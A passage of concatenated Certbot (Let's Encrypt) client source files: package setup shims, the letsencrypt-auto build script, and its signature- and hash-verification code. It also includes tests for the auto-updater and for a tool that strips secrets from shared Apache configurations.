version = '0.8.0.dev0'


# This package is a simple shim around certbot-nginx
install_requires = [
    'certbot-nginx',
    'letsencrypt=={0}'.format(version),
]


setup(
    name='letsencrypt-nginx',
    version=version,
    description="Nginx plugin for Let's Encrypt",
    long_description=readme,
    url='https://github.com/letsencrypt/letsencrypt',
    author="Certbot Project",
    author_email='client-dev@letsencrypt.org',
    license='Apache License 2.0',
    classifiers=[
        'Development Status :: 3 - Alpha',
        'Environment :: Plugins',
        'Intended Audience :: System Administrators',
        'License :: OSI Approved :: Apache Software License',
        'Operating System :: POSIX :: Linux',
        'Programming Language :: Python',
        'Programming Language :: Python :: 2',
        'Programming Language :: Python :: 2.6',
        'Programming Language :: Python :: 2.7',
        'Topic :: Internet :: WWW/HTTP',
        'Topic :: Security',
        'Topic :: System :: Installation/Setup',
        'Topic :: System :: Networking',
        'Topic :: System :: Systems Administration',
        'Topic :: Utilities',
    ],

    packages=find_packages(),
    include_package_data=True,
    install_requires=install_requires,
)






"""Let's Encrypt Nginx plugin."""
import sys


import certbot_nginx


sys.modules['letsencrypt_nginx'] = certbot_nginx






#!/usr/bin/env python
"""Stitch together the letsencrypt-auto script.

Implement a simple templating language in which {{ some/file }} turns into the
contents of the file at ./pieces/some/file except for certain tokens which have
other, special definitions.

"""
from os.path import abspath, dirname, join
import re
from sys import argv


DIR = dirname(abspath(__file__))


def certbot_version(build_script_dir):
    """Return the version number stamped in certbot/__init__.py."""
    return re.search('''^__version__ = ['"](.+)['"].*''',
                     file_contents(join(dirname(build_script_dir),
                                        'certbot',
                                        '__init__.py')),
                     re.M).group(1)


def file_contents(path):
    with open(path) as file:
        return file.read()


def build(version=None, requirements=None):
    """Return the built contents of the letsencrypt-auto script.

    :arg version: The version to attach to the script. Default: the version of
        the certbot package
    :arg requirements: The contents of the requirements file to embed. Default:
        contents of letsencrypt-auto-requirements.txt

    """
    special_replacements = {
        'LE_AUTO_VERSION': version or certbot_version(DIR)
    }
    if requirements:
        special_replacements['letsencrypt-auto-requirements.txt'] = requirements

    def replacer(match):
        token = match.group(1)
        if token in special_replacements:
            return special_replacements[token]
        else:
            return file_contents(join(DIR, 'pieces', token))

    return re.sub(r'{{\s*([A-Za-z0-9_./-]+)\s*}}',
                  replacer,
                  file_contents(join(DIR, 'letsencrypt-auto.template')))


def main():
    with open(join(DIR, 'letsencrypt-auto'), 'w') as out:
        out.write(build())


if __name__ == '__main__':
    main()






"""Tests for letsencrypt-auto

Run these locally by saying... ::

    ./build.py && docker build -t lea . && docker run --rm -t -i lea

"""






"""Tests for letsencrypt-auto"""

from BaseHTTPServer import HTTPServer, BaseHTTPRequestHandler
from contextlib import contextmanager
from functools import partial
from json import dumps
from os import chmod, environ
from os.path import abspath, dirname, exists, join
import re
from shutil import copy, rmtree
import socket
import ssl
from stat import S_IRUSR, S_IXUSR
from subprocess import CalledProcessError, Popen, PIPE
import sys
from tempfile import mkdtemp
from threading import Thread
from unittest import TestCase

from nose.tools import eq_, nottest, ok_


@nottest
def tests_dir():
    """Return a path to the "tests" directory."""
    return dirname(abspath(__file__))


sys.path.insert(0, dirname(tests_dir()))
from build import build as build_le_auto


class RequestHandler(BaseHTTPRequestHandler):
    """An HTTPS request handler which is quiet and serves a specific folder."""

    def __init__(self, resources, *args, **kwargs):
        """
        :arg resources: A dict of resource paths pointing to content bytes

        """
        self.resources = resources
        BaseHTTPRequestHandler.__init__(self, *args, **kwargs)

    def log_message(self, format, *args):
        """Don't log each request to the terminal."""

    def do_GET(self):
        """Serve a GET request."""
        content = self.send_head()
        if content is not None:
            self.wfile.write(content)

    def send_head(self):
        """Common code for GET and HEAD commands

        This sends the response code and MIME headers and returns either a
        bytestring of content or, if none is found, None.

        """
        path = self.path[1:]  # Strip leading slash.
        content = self.resources.get(path)
        if content is None:
            self.send_error(404, 'Path "%s" not found in self.resources' % path)
        else:
            self.send_response(200)
            self.send_header('Content-type', 'text/plain')
            self.send_header('Content-Length', str(len(content)))
            self.end_headers()
            return content


def server_and_port(resources):
    """Return an unstarted HTTPS server and the port it will use."""
    # Find a port, and bind to it. I can't get the OS to close the socket
    # promptly after we shut down the server, so we typically need to try
    # a couple ports after the first test case. Setting
    # TCPServer.allow_reuse_address = True seems to have nothing to do
    # with this behavior.
    worked = False
    for port in xrange(4443, 4543):
        try:
            server = HTTPServer(('localhost', port),
                                partial(RequestHandler, resources))
        except socket.error:
            pass
        else:
            worked = True
            server.socket = ssl.wrap_socket(
                server.socket,
                certfile=join(tests_dir(), 'certs', 'localhost', 'server.pem'),
                server_side=True)
            break
    if not worked:
        raise RuntimeError("Couldn't find an unused socket for the testing HTTPS server.")
    return server, port


@contextmanager
def serving(resources):
    """Spin up a local HTTPS server, and yield its base URL.

    Use a self-signed cert generated as outlined by
    https://coolaj86.com/articles/create-your-own-certificate-authority-for-
    testing/.

    """
    server, port = server_and_port(resources)
    thread = Thread(target=server.serve_forever)
    try:
        thread.start()
        yield 'https://localhost:{port}/'.format(port=port)
    finally:
        server.shutdown()
        thread.join()


LE_AUTO_PATH = join(dirname(tests_dir()), 'letsencrypt-auto')


@contextmanager
def ephemeral_dir():
    dir = mkdtemp(prefix='le-test-')
    try:
        yield dir
    finally:
        rmtree(dir)


def out_and_err(command, input=None, shell=False, env=None):
    """Run a shell command, and return stderr and stdout as string.

    If the command returns nonzero, raise CalledProcessError.

    :arg command: A list of commandline args
    :arg input: Data to pipe to stdin. Omit for none.

    Remaining args have the same meaning as for Popen.

    """
    process = Popen(command,
                    stdout=PIPE,
                    stdin=PIPE,
                    stderr=PIPE,
                    shell=shell,
                    env=env)
    out, err = process.communicate(input=input)
    status = process.poll()  # same as in check_output(), though wait() sounds better
    if status:
        error = CalledProcessError(status, command)
        error.output = out
        raise error
    return out, err


def signed(content, private_key_name='signing.key'):
    """Return the signed SHA-256 hash of ``content``, using the given key file."""
    command = ['openssl', 'dgst', '-sha256', '-sign',
               join(tests_dir(), private_key_name)]
    out, err = out_and_err(command, input=content)
    return out


def install_le_auto(contents, venv_dir):
    """Install some given source code as the letsencrypt-auto script at the
    root level of a virtualenv.

    :arg contents: The contents of the built letsencrypt-auto script
    :arg venv_dir: The path under which to install the script

    """
    venv_le_auto_path = join(venv_dir, 'letsencrypt-auto')
    with open(venv_le_auto_path, 'w') as le_auto:
        le_auto.write(contents)
    chmod(venv_le_auto_path, S_IRUSR | S_IXUSR)


def run_le_auto(venv_dir, base_url, **kwargs):
    """Run the prebuilt version of letsencrypt-auto, returning stdout and
    stderr strings.

    If the command returns other than 0, raise CalledProcessError.

    """
    env = environ.copy()
    d = dict(XDG_DATA_HOME=venv_dir,
             # URL to PyPI-style JSON that tell us the latest released version
             # of LE:
             LE_AUTO_JSON_URL=base_url + 'certbot/json',
             # URL to dir containing letsencrypt-auto and letsencrypt-auto.sig:
             LE_AUTO_DIR_TEMPLATE=base_url + '%s/',
             # The public key corresponding to signing.key:
             LE_AUTO_PUBLIC_KEY="""-----BEGIN PUBLIC KEY-----
MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAsMoSzLYQ7E1sdSOkwelg
tzKIh2qi3bpXuYtcfFC0XrvWig071NwIj+dZiT0OLZ2hPispEH0B7ISuuWg1ll7G
hFW0VdbxL6JdGzS2ShNWkX9hE9z+j8VqwDPOBn3ZHm03qwpYkBDwQib3KqOdYbTT
uUtJmmGcuk3a9Aq/sCT6DdfmTSdP5asdQYwIcaQreDrOosaS84DTWI3IU+UYJVgl
LsIVPBuy9IcgHidUQ96hJnoPsDCWsHwX62495QKEarauyKQrJzFes0EY95orDM47
Z5o/NDiQB11m91yNB0MmPYY9QSbnOA9j7IaaC97AwRLuwXY+/R2ablTcxurWou68
iQIDAQAB
-----END PUBLIC KEY-----""",
             **kwargs)
    env.update(d)
    return out_and_err(
        join(venv_dir, 'letsencrypt-auto') + ' --version',
        shell=True,
        env=env)


def set_le_script_version(venv_dir, version):
    """Tell the letsencrypt script to report a certain version.

    We actually replace the script with a dummy version that knows only how to
    print its version.

    """
    with open(join(venv_dir, 'letsencrypt', 'bin', 'letsencrypt'), 'w') as script:
        script.write("#!/usr/bin/env python\n"
                     "from sys import stderr\n"
                     "stderr.write('letsencrypt %s\\n')" % version)


class AutoTests(TestCase):
    """Test the major branch points of letsencrypt-auto:

    * An le-auto upgrade is needed.
    * An le-auto upgrade is not needed.
    * There was an out-of-date LE script installed.
    * There was a current LE script installed.
    * There was no LE script installed (less important).
    * Pip hash-verification passes.
    * Pip has a hash mismatch.
    * The OpenSSL sig matches.
    * The OpenSSL sig mismatches.

    For tests which get to the end, we run merely ``letsencrypt --version``.
    The functioning of the rest of the certbot script is covered by other
    test suites.

    """
    def test_successes(self):
        """Exercise most branches of letsencrypt-auto.

        They just happen to be the branches in which everything goes well.

        I violate my usual rule of having small, decoupled tests, because...

        1. We shouldn't need to run a Cartesian product of the branches: the
           phases run in separate shell processes, containing state leakage
           pretty effectively. The only shared state is FS state, and it's
           limited to a temp dir, assuming (if we dare) all functions properly.
        2. One combination of branches happens to set us up nicely for testing
           the next, saving code.

        """
        NEW_LE_AUTO = build_le_auto(
                version='99.9.9',
                requirements='letsencrypt==99.9.9 --hash=sha256:1cc14d61ab424cdee446f51e50f1123f8482ec740587fe78626c933bba2873a0')
        NEW_LE_AUTO_SIG = signed(NEW_LE_AUTO)

        with ephemeral_dir() as venv_dir:
            # This serves a PyPI page with a higher version, a GitHub-alike
            # with a corresponding le-auto script, and a matching signature.
            resources = {'certbot/json': dumps({'releases': {'99.9.9': None}}),
                         'v99.9.9/letsencrypt-auto': NEW_LE_AUTO,
                         'v99.9.9/letsencrypt-auto.sig': NEW_LE_AUTO_SIG}
            with serving(resources) as base_url:
                run_letsencrypt_auto = partial(
                        run_le_auto,
                        venv_dir,
                        base_url,
                        PIP_FIND_LINKS=join(tests_dir(),
                                            'fake-letsencrypt',
                                            'dist'))

                # Test when a phase-1 upgrade is needed, there's no LE binary
                # installed, and pip hashes verify:
                install_le_auto(build_le_auto(version='50.0.0'), venv_dir)
                out, err = run_letsencrypt_auto()
                ok_(re.match(r'letsencrypt \d+\.\d+\.\d+',
                             err.strip().splitlines()[-1]))
                # Make a few assertions to test the validity of the next tests:
                self.assertIn('Upgrading certbot-auto ', out)
                self.assertIn('Creating virtual environment...', out)

                # Now we have le-auto 99.9.9  and LE 99.9.9 installed. This
                # conveniently sets us up to test the next 2 cases.

                # Test when neither phase-1 upgrade nor phase-2 upgrade is
                # needed (probably a common case):
                out, err = run_letsencrypt_auto()
                self.assertNotIn('Upgrading certbot-auto ', out)
                self.assertNotIn('Creating virtual environment...', out)

                # Test when a phase-1 upgrade is not needed but a phase-2
                # upgrade is:
                set_le_script_version(venv_dir, '0.0.1')
                out, err = run_letsencrypt_auto()
                self.assertNotIn('Upgrading certbot-auto ', out)
                self.assertIn('Creating virtual environment...', out)

    def test_openssl_failure(self):
        """Make sure we stop if the openssl signature check fails."""
        with ephemeral_dir() as venv_dir:
            # Serve an unrelated hash signed with the good key (easier than
            # making a bad key, and a mismatch is a mismatch):
            resources = {'': '<a href="certbot/">certbot/</a>',
                         'certbot/json': dumps({'releases': {'99.9.9': None}}),
                         'v99.9.9/letsencrypt-auto': build_le_auto(version='99.9.9'),
                         'v99.9.9/letsencrypt-auto.sig': signed('something else')}
            with serving(resources) as base_url:
                copy(LE_AUTO_PATH, venv_dir)
                try:
                    out, err = run_le_auto(venv_dir, base_url)
                except CalledProcessError as exc:
                    eq_(exc.returncode, 1)
                    self.assertIn("Couldn't verify signature of downloaded "
                                  "certbot-auto.",
                                  exc.output)
                else:
                    self.fail('Signature check on certbot-auto erroneously passed.')

    def test_pip_failure(self):
        """Make sure pip stops us if there is a hash mismatch."""
        with ephemeral_dir() as venv_dir:
            resources = {'': '<a href="certbot/">certbot/</a>',
                         'certbot/json': dumps({'releases': {'99.9.9': None}})}
            with serving(resources) as base_url:
                # Build a le-auto script embedding a bad requirements file:
                install_le_auto(
                    build_le_auto(
                        version='99.9.9',
                        requirements='configobj==5.0.6 --hash=sha256:badbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadb'),
                    venv_dir)
                try:
                    out, err = run_le_auto(venv_dir, base_url)
                except CalledProcessError as exc:
                    eq_(exc.returncode, 1)
                    self.assertIn("THESE PACKAGES DO NOT MATCH THE HASHES "
                                  "FROM THE REQUIREMENTS FILE",
                                  exc.output)
                    ok_(not exists(join(venv_dir, 'letsencrypt')),
                        msg="The virtualenv was left around, even though "
                            "installation didn't succeed. We shouldn't do "
                            "this, as it foils our detection of whether we "
                            "need to recreate the virtualenv, which hinges "
                            "on the presence of $VENV_BIN/letsencrypt.")
                else:
                    self.fail("Pip didn't detect a bad hash and stop the "
                              "installation.")






from sys import argv, stderr


def main():
    """Act like letsencrypt --version insofar as printing the version number to
    stderr."""
    if '--version' in argv:
        stderr.write('letsencrypt 99.9.9\n')






from setuptools import setup


setup(
    name='letsencrypt',
    version='99.9.9',
    description='A mock version of letsencrypt that just prints its version',
    py_modules=['letsencrypt'],
    entry_points={
        'console_scripts': ['letsencrypt = letsencrypt:main']
    }
)






"""Do downloading and JSON parsing without additional dependencies. ::

    # Print latest released version of LE to stdout:
    python fetch.py --latest-version
    
    # Download letsencrypt-auto script from git tag v1.2.3 into the folder I'm
    # in, and make sure its signature verifies:
    python fetch.py --le-auto-script v1.2.3

On failure, return non-zero.

"""
from distutils.version import LooseVersion
from json import loads
from os import devnull, environ
from os.path import dirname, join
import re
from subprocess import check_call, CalledProcessError
from sys import argv, exit
from urllib2 import build_opener, HTTPHandler, HTTPSHandler, HTTPError

PUBLIC_KEY = environ.get('LE_AUTO_PUBLIC_KEY', """-----BEGIN PUBLIC KEY-----
MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6MR8W/galdxnpGqBsYbq
OzQb2eyW15YFjDDEMI0ZOzt8f504obNs920lDnpPD2/KqgsfjOgw2K7xWDJIj/18
xUvWPk3LDkrnokNiRkA3KOx3W6fHycKL+zID7zy+xZYBuh2fLyQtWV1VGQ45iNRp
9+Zo7rH86cdfgkdnWTlNSHyTLW9NbXvyv/E12bppPcEvgCTAQXgnDVJ0/sqmeiij
n9tTFh03aM+R2V/21h8aTraAS24qiPCz6gkmYGC8yr6mglcnNoYbsLNYZ69zF1XH
cXPduCPdPdfLlzVlKK1/U7hkA28eG3BIAMh6uJYBRJTpiGgaGdPd7YekUB8S6cy+
CQIDAQAB
-----END PUBLIC KEY-----
""")

class ExpectedError(Exception):
    """A novice-readable exception that also carries the original exception for
    debugging"""


class HttpsGetter(object):
    def __init__(self):
        """Build an HTTPS opener."""
        # Based on pip 1.4.1's URLOpener
        # This verifies certs on only Python >=2.7.9.
        self._opener = build_opener(HTTPSHandler())
        # Strip out HTTPHandler to prevent MITM spoof:
        for handler in self._opener.handlers:
            if isinstance(handler, HTTPHandler):
                self._opener.handlers.remove(handler)

    def get(self, url):
        """Return the document contents pointed to by an HTTPS URL.

        If something goes wrong (404, timeout, etc.), raise ExpectedError.

        """
        try:
            return self._opener.open(url).read()
        except (HTTPError, IOError) as exc:
            raise ExpectedError("Couldn't download %s." % url, exc)


def write(contents, dir, filename):
    """Write something to a file in a certain directory."""
    with open(join(dir, filename), 'w') as file:
        file.write(contents)


def latest_stable_version(get):
    """Return the latest stable release of letsencrypt."""
    metadata = loads(get(
        environ.get('LE_AUTO_JSON_URL',
                    'https://pypi.python.org/pypi/certbot/json')))
    # metadata['info']['version'] actually returns the latest of any kind of
    # release release, contrary to https://wiki.python.org/moin/PyPIJSON.
    # The regex is a sufficient regex for picking out prereleases for most
    # packages, LE included.
    return str(max(LooseVersion(r) for r
                   in metadata['releases'].iterkeys()
                   if re.match('^[0-9.]+$', r)))


def verified_new_le_auto(get, tag, temp_dir):
    """Return the path to a verified, up-to-date letsencrypt-auto script.

    If the download's signature does not verify or something else goes wrong
    with the verification process, raise ExpectedError.

    """
    le_auto_dir = environ.get(
        'LE_AUTO_DIR_TEMPLATE',
        'https://raw.githubusercontent.com/certbot/certbot/%s/'
        'letsencrypt-auto-source/') % tag
    write(get(le_auto_dir + 'letsencrypt-auto'), temp_dir, 'letsencrypt-auto')
    write(get(le_auto_dir + 'letsencrypt-auto.sig'), temp_dir, 'letsencrypt-auto.sig')
    write(PUBLIC_KEY, temp_dir, 'public_key.pem')
    try:
        with open(devnull, 'w') as dev_null:
            check_call(['openssl', 'dgst', '-sha256', '-verify',
                        join(temp_dir, 'public_key.pem'),
                        '-signature',
                        join(temp_dir, 'letsencrypt-auto.sig'),
                        join(temp_dir, 'letsencrypt-auto')],
                       stdout=dev_null,
                       stderr=dev_null)
    except CalledProcessError as exc:
        raise ExpectedError("Couldn't verify signature of downloaded "
                            "certbot-auto.", exc)


def main():
    get = HttpsGetter().get
    flag = argv[1]
    try:
        if flag == '--latest-version':
            print latest_stable_version(get)
        elif flag == '--le-auto-script':
            tag = argv[2]
            verified_new_le_auto(get, tag, dirname(argv[0]))
    except ExpectedError as exc:
        print exc.args[0], exc.args[1]
        return 1
    else:
        return 0


if __name__ == '__main__':
    exit(main())






#!/usr/bin/env python
"""A small script that can act as a trust root for installing pip 8

Embed this in your project, and your VCS checkout is all you have to trust. In
a post-peep era, this lets you claw your way to a hash-checking version of pip,
with which you can install the rest of your dependencies safely. All it assumes
is Python 2.6 or better and *some* version of pip already installed. If
anything goes wrong, it will exit with a non-zero status code.

"""
# This is here so embedded copies are MIT-compliant:
# Copyright (c) 2016 Erik Rose
#
# Permission is hereby granted, free of charge, to any person obtaining a copy
# of this software and associated documentation files (the "Software"), to
# deal in the Software without restriction, including without limitation the
# rights to use, copy, modify, merge, publish, distribute, sublicense, and/or
# sell copies of the Software, and to permit persons to whom the Software is
# furnished to do so, subject to the following conditions:
#
# The above copyright notice and this permission notice shall be included in
# all copies or substantial portions of the Software.
from __future__ import print_function
from hashlib import sha256
from os.path import join
from pipes import quote
from shutil import rmtree
try:
    from subprocess import check_output
except ImportError:
    from subprocess import CalledProcessError, PIPE, Popen

    def check_output(*popenargs, **kwargs):
        if 'stdout' in kwargs:
            raise ValueError('stdout argument not allowed, it will be '
                             'overridden.')
        process = Popen(stdout=PIPE, *popenargs, **kwargs)
        output, unused_err = process.communicate()
        retcode = process.poll()
        if retcode:
            cmd = kwargs.get("args")
            if cmd is None:
                cmd = popenargs[0]
            raise CalledProcessError(retcode, cmd)
        return output
from sys import exit, version_info
from tempfile import mkdtemp
try:
    from urllib2 import build_opener, HTTPHandler, HTTPSHandler
except ImportError:
    from urllib.request import build_opener, HTTPHandler, HTTPSHandler
try:
    from urlparse import urlparse
except ImportError:
    from urllib.parse import urlparse  # 3.4


__version__ = 1, 1, 1


# wheel has a conditional dependency on argparse:
maybe_argparse = (
    [('https://pypi.python.org/packages/source/a/argparse/'
      'argparse-1.4.0.tar.gz',
      '62b089a55be1d8949cd2bc7e0df0bddb9e028faefc8c32038cc84862aefdd6e4')]
    if version_info < (2, 7, 0) else [])


PACKAGES = maybe_argparse + [
    # Pip has no dependencies, as it vendors everything:
    ('https://pypi.python.org/packages/source/p/pip/pip-8.0.3.tar.gz',
     '30f98b66f3fe1069c529a491597d34a1c224a68640c82caf2ade5f88aa1405e8'),
    # This version of setuptools has only optional dependencies:
    ('https://pypi.python.org/packages/source/s/setuptools/'
     'setuptools-20.2.2.tar.gz',
     '24fcfc15364a9fe09a220f37d2dcedc849795e3de3e4b393ee988e66a9cbd85a'),
    ('https://pypi.python.org/packages/source/w/wheel/wheel-0.29.0.tar.gz',
     '1ebb8ad7e26b448e9caa4773d2357849bf80ff9e313964bcaf79cbf0201a1648')
]


class HashError(Exception):
    def __str__(self):
        url, path, actual, expected = self.args
        return ('{url} did not match the expected hash {expected}. Instead, '
                'it was {actual}. The file (left at {path}) may have been '
                'tampered with.'.format(**locals()))


def hashed_download(url, temp, digest):
    """Download ``url`` to ``temp``, make sure it has the SHA-256 ``digest``,
    and return its path."""
    # Based on pip 1.4.1's URLOpener but with cert verification removed. Python
    # >=2.7.9 verifies HTTPS certs itself, and, in any case, the cert
    # authenticity has only privacy (not arbitrary code execution)
    # implications, since we're checking hashes.
    def opener():
        opener = build_opener(HTTPSHandler())
        # Strip out HTTPHandler to prevent MITM spoof:
        for handler in opener.handlers:
            if isinstance(handler, HTTPHandler):
                opener.handlers.remove(handler)
        return opener

    def read_chunks(response, chunk_size):
        while True:
            chunk = response.read(chunk_size)
            if not chunk:
                break
            yield chunk

    response = opener().open(url)
    path = join(temp, urlparse(url).path.split('/')[-1])
    actual_hash = sha256()
    with open(path, 'wb') as file:
        for chunk in read_chunks(response, 4096):
            file.write(chunk)
            actual_hash.update(chunk)

    actual_digest = actual_hash.hexdigest()
    if actual_digest != digest:
        raise HashError(url, path, actual_digest, digest)
    return path


def main():
    temp = mkdtemp(prefix='pipstrap-')
    try:
        downloads = [hashed_download(url, temp, digest)
                     for url, digest in PACKAGES]
        check_output('pip install --no-index --no-deps -U ' +
                     ' '.join(quote(d) for d in downloads),
                     shell=True)
    except HashError as exc:
        print(exc)
    except Exception:
        rmtree(temp)
        raise
    else:
        rmtree(temp)
        return 0
    return 1


if __name__ == '__main__':
    exit(main())






import sys

from setuptools import setup
from setuptools import find_packages


version = '0.7.0.dev0'

install_requires = [
    'setuptools',  # pkg_resources
]
if sys.version_info < (2, 7):
    install_requires.append('mock<1.1.0')
else:
    install_requires.append('mock')

docs_extras = [
    'Sphinx>=1.0',  # autodoc_member_order = 'bysource', autodoc_default_flags
    'sphinx_rtd_theme',
]

setup(
    name='letshelp-certbot',
    version=version,
    description="Let's help Certbot client",
    url='https://github.com/letsencrypt/letsencrypt',
    author="Certbot Project",
    author_email='client-dev@letsencrypt.org',
    license='Apache License 2.0',
    classifiers=[
        'Development Status :: 3 - Alpha',
        'Intended Audience :: System Administrators',
        'License :: OSI Approved :: Apache Software License',
        'Operating System :: POSIX :: Linux',
        'Programming Language :: Python',
        'Programming Language :: Python :: 2',
        'Programming Language :: Python :: 2.6',
        'Programming Language :: Python :: 2.7',
        'Topic :: Internet :: WWW/HTTP',
        'Topic :: Security',
        'Topic :: System :: Installation/Setup',
        'Topic :: System :: Networking',
        'Topic :: System :: Systems Administration',
        'Topic :: Utilities',
    ],

    packages=find_packages(),
    include_package_data=True,
    install_requires=install_requires,
    extras_require={
        'docs': docs_extras,
    },
    entry_points={
        'console_scripts': [
            'letshelp-certbot-apache = letshelp_certbot.apache:main',
        ],
    },
    test_suite='letshelp_certbot',
)






"""Tools for submitting server configurations"""






"""Tests for letshelp.letshelp_certbot_apache.py"""
import argparse
import functools
import os
import pkg_resources
import subprocess
import tarfile
import tempfile
import unittest

import mock

import letshelp_certbot.apache as letshelp_le_apache


_PARTIAL_CONF_PATH = os.path.join("mods-available", "ssl.load")
_PARTIAL_LINK_PATH = os.path.join("mods-enabled", "ssl.load")
_CONFIG_FILE = pkg_resources.resource_filename(
    __name__, os.path.join("testdata", _PARTIAL_CONF_PATH))
_PASSWD_FILE = pkg_resources.resource_filename(
    __name__, os.path.join("testdata", "uncommonly_named_p4sswd"))
_KEY_FILE = pkg_resources.resource_filename(
    __name__, os.path.join("testdata", "uncommonly_named_k3y"))
_SECRET_FILE = pkg_resources.resource_filename(
    __name__, os.path.join("testdata", "super_secret_file.txt"))


_MODULE_NAME = "letshelp_certbot.apache"


_COMPILE_SETTINGS = """Server version: Apache/2.4.10 (Debian)
Server built:   Mar 15 2015 09:51:43
Server's Module Magic Number: 20120211:37
Server loaded:  APR 1.5.1, APR-UTIL 1.5.4
Compiled using: APR 1.5.1, APR-UTIL 1.5.4
Architecture:   64-bit
Server MPM:     event
  threaded:     yes (fixed thread count)
    forked:     yes (variable process count)
Server compiled with....
 -D APR_HAS_SENDFILE
 -D APR_HAS_MMAP
 -D APR_HAVE_IPV6 (IPv4-mapped addresses enabled)
 -D APR_USE_SYSVSEM_SERIALIZE
 -D APR_USE_PTHREAD_SERIALIZE
 -D SINGLE_LISTEN_UNSERIALIZED_ACCEPT
 -D APR_HAS_OTHER_CHILD
 -D AP_HAVE_RELIABLE_PIPED_LOGS
 -D DYNAMIC_MODULE_LIMIT=256
 -D HTTPD_ROOT="/etc/apache2"
 -D SUEXEC_BIN="/usr/lib/apache2/suexec"
 -D DEFAULT_PIDLOG="/var/run/apache2.pid"
 -D DEFAULT_SCOREBOARD="logs/apache_runtime_status"
 -D DEFAULT_ERRORLOG="logs/error_log"
 -D AP_TYPES_CONFIG_FILE="mime.types"
 -D SERVER_CONFIG_FILE="apache2.conf"

"""


class LetsHelpApacheTest(unittest.TestCase):
    @mock.patch(_MODULE_NAME + ".copy_config")
    def test_make_and_verify_selection(self, mock_copy_config):
        mock_copy_config.return_value = (["apache2.conf"], ["apache2"])

        with mock.patch("__builtin__.raw_input") as mock_input:
            with mock.patch(_MODULE_NAME + ".sys.stdout"):
                mock_input.side_effect = ["Yes", "No"]
                letshelp_le_apache.make_and_verify_selection("root", "temp")
                self.assertRaises(
                    SystemExit, letshelp_le_apache.make_and_verify_selection,
                    "server_root", "temp_dir")

    def test_copy_config(self):
        tempdir = tempfile.mkdtemp()
        server_root = pkg_resources.resource_filename(__name__, "testdata")
        letshelp_le_apache.copy_config(server_root, tempdir)

        temp_testdata = os.path.join(tempdir, "testdata")
        self.assertFalse(os.path.exists(os.path.join(
            temp_testdata, os.path.basename(_PASSWD_FILE))))
        self.assertFalse(os.path.exists(os.path.join(
            temp_testdata, os.path.basename(_KEY_FILE))))
        self.assertFalse(os.path.exists(os.path.join(
            temp_testdata, os.path.basename(_SECRET_FILE))))
        self.assertTrue(os.path.exists(os.path.join(
            temp_testdata, _PARTIAL_CONF_PATH)))
        self.assertTrue(os.path.exists(os.path.join(
            temp_testdata, _PARTIAL_LINK_PATH)))

    def test_copy_file_without_comments(self):
        dest = tempfile.mkstemp()[1]
        letshelp_le_apache.copy_file_without_comments(_PASSWD_FILE, dest)

        with open(_PASSWD_FILE) as original:
            with open(dest) as copy:
                for original_line, copied_line in zip(original, copy):
                    self.assertEqual(original_line, copied_line)

    @mock.patch(_MODULE_NAME + ".subprocess.Popen")
    def test_safe_config_file(self, mock_popen):
        mock_popen().communicate.return_value = ("PEM RSA private key", None)
        self.assertFalse(letshelp_le_apache.safe_config_file("filename"))

        mock_popen().communicate.return_value = ("ASCII text", None)
        self.assertFalse(letshelp_le_apache.safe_config_file(_PASSWD_FILE))
        self.assertFalse(letshelp_le_apache.safe_config_file(_KEY_FILE))
        self.assertFalse(letshelp_le_apache.safe_config_file(_SECRET_FILE))
        self.assertTrue(letshelp_le_apache.safe_config_file(_CONFIG_FILE))

    @mock.patch(_MODULE_NAME + ".subprocess.Popen")
    def test_tempdir(self, mock_popen):
        mock_popen().communicate.side_effect = [
            ("version", None), ("modules", None), ("vhosts", None)]
        args = _get_args()

        tempdir = letshelp_le_apache.setup_tempdir(args)

        with open(os.path.join(tempdir, "config_file")) as config_fd:
            self.assertEqual(config_fd.read(), args.config_file + "\n")

        with open(os.path.join(tempdir, "version")) as version_fd:
            self.assertEqual(version_fd.read(), "version")

        with open(os.path.join(tempdir, "modules")) as modules_fd:
            self.assertEqual(modules_fd.read(), "modules")

        with open(os.path.join(tempdir, "vhosts")) as vhosts_fd:
            self.assertEqual(vhosts_fd.read(), "vhosts")

    @mock.patch(_MODULE_NAME + ".subprocess.check_call")
    def test_verify_config(self, mock_check_call):
        args = _get_args()
        mock_check_call.side_effect = [
            None, OSError, subprocess.CalledProcessError(1, "apachectl")]

        letshelp_le_apache.verify_config(args)
        self.assertRaises(SystemExit, letshelp_le_apache.verify_config, args)
        self.assertRaises(SystemExit, letshelp_le_apache.verify_config, args)

    @mock.patch(_MODULE_NAME + ".subprocess.Popen")
    def test_locate_config(self, mock_popen):
        mock_popen().communicate.side_effect = [
            OSError, ("bad_output", None), (_COMPILE_SETTINGS, None)]

        self.assertRaises(
            SystemExit, letshelp_le_apache.locate_config, "ctl")
        self.assertRaises(
            SystemExit, letshelp_le_apache.locate_config, "ctl")
        server_root, config_file = letshelp_le_apache.locate_config("ctl")
        self.assertEqual(server_root, "/etc/apache2")
        self.assertEqual(config_file, "apache2.conf")

    @mock.patch(_MODULE_NAME + ".argparse")
    def test_get_args(self, mock_argparse):
        argv = ["-d", "/etc/apache2"]
        mock_argparse.ArgumentParser.return_value = _create_mock_parser(argv)
        self.assertRaises(SystemExit, letshelp_le_apache.get_args)

        server_root = "/etc/apache2"
        config_file = server_root + "/apache2.conf"
        argv = ["-d", server_root, "-f", config_file]
        mock_argparse.ArgumentParser.return_value = _create_mock_parser(argv)
        args = letshelp_le_apache.get_args()
        self.assertEqual(args.apache_ctl, "apachectl")
        self.assertEqual(args.server_root, server_root)
        self.assertEqual(args.config_file, os.path.basename(config_file))

        server_root = "/etc/apache2"
        config_file = "/etc/httpd/httpd.conf"
        argv = ["-d", server_root, "-f", config_file]
        mock_argparse.ArgumentParser.return_value = _create_mock_parser(argv)
        self.assertRaises(SystemExit, letshelp_le_apache.get_args)

    def test_main_with_args(self):
        with mock.patch(_MODULE_NAME + ".get_args"):
            self._test_main_common()

    def test_main_without_args(self):
        with mock.patch(_MODULE_NAME + ".get_args") as get_args:
            args = _get_args()
            server_root, config_file = args.server_root, args.config_file
            args.server_root = args.config_file = None
            get_args.return_value = args
            with mock.patch(_MODULE_NAME + ".locate_config") as locate:
                locate.return_value = (server_root, config_file)
                self._test_main_common()

    def _test_main_common(self):
        with mock.patch(_MODULE_NAME + ".verify_config"):
            with mock.patch(_MODULE_NAME + ".setup_tempdir") as mock_setup:
                tempdir_path = tempfile.mkdtemp()
                mock_setup.return_value = tempdir_path
